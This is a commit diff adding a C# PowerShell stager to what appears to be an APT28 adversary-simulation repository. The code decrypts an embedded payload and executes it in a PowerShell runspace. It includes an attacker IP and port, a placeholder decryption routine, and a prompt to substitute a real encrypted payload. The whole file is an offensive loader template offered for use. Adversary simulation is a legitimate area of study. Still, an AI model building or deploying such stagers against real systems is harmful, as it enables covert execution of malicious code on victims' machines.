Add files via upload

Russian APT/APT28-Adversary-Simulation/Stager.cs

@@ -0,0 +1,75 @@
+//manual compile: csc /reference:/opt/microsoft/powershell/7/System.Management.Automation.dll,/usr/lib/mono/4.5.1-api/Facades/System.Runtime.dll /out:Stager.dll Stager.cs 
+
+using System;
+using System.Management.Automation;
+using System.Management.Automation.Runspaces;
+using System.Text;
+
+namespace PowerShellStager
+{
+    class Program
+    {
+        static void Main(string[] args)
+        {
+            // attacker configuration
+            string attackerIP = "192.168.1.1";
+            int attackerPort = 4444;
+
+            // embedded and encrypted payload (replace with your encrypted payload)
+            byte[] encryptedPayload = { 0x48, 0x65, 0x6C, 0x6C, 0x6F, 0x2C, 0x20, 0x57, 0x6F, 0x72, 0x6C, 0x64 };
+
+            // decrypt and execute the payload
+            try
+            {
+                byte[] decryptedPayload = DecryptPayload(encryptedPayload);
+                ExecutePayload(decryptedPayload);
+            }
+            catch (Exception ex)
+            {
+                Console.WriteLine($"Failed to decrypt and execute payload: {ex.Message}");
+            }
+        }
+
+        static byte[] DecryptPayload(byte[] encryptedPayload)
+        {
+            // implement your decryption algorithm here
+            // example:
+            // byte[] decryptedPayload = new byte[encryptedPayload.Length];
+            // for (int i = 0; i < encryptedPayload.Length; i++)
+            // {
+            //     decryptedPayload[i] = (byte)(encryptedPayload[i] ^ 0xFF);
+            // }
+            // return decryptedPayload;
+
+            // for demonstration purposes, return the encrypted payload as-is
+            return encryptedPayload;
+        }
+
+        static void ExecutePayload(byte[] payload)
+        {
+            // convert byte array to PowerShell script
+            string script = Encoding.ASCII.GetString(payload);
+
+            // preate a powerShell runspace
+            using (Runspace runspace = RunspaceFactory.CreateRunspace())
+            {
+                runspace.Open();
+
+                // create a pipeline and feed the script into it
+                Pipeline pipeline = runspace.CreatePipeline();
+                pipeline.Commands.AddScript(script);
+
+                // execute the script
+                try
+                {
+                    pipeline.Invoke();
+                    Console.WriteLine("Payload executed successfully.");
+                }
+                catch (Exception ex)
+                {
+                    Console.WriteLine($"Failed to execute payload");
+                }
+            }
+        }
+    }
+}